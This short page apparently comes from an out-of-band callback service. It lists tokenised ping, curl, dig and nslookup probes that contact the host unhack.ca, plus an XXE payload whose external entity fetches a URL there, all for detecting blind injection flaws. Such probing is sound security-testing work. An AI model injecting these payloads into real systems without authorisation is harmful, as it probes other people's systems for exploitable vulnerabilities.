$ ping -c1 -p 0074c1c9d0c83217b9ca77e95f0fa200 unhack.ca
 

$ curl http://unhack.ca/p/74c1c9d0c83217b9ca77e95f0fa2
 

$ dig 74c1c9d0c83217b9ca77e95f0fa2 @unhack.ca
 

$ dig 74c1c9d0c83217b9ca77e95f0fa2.ns.unhack.ca
 

C:\> nslookup 74c1c9d0c83217b9ca77e95f0fa2 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/74c1c9d0c83217b9ca77e95f0fa2">]>
    <foo>&xxe;</foo>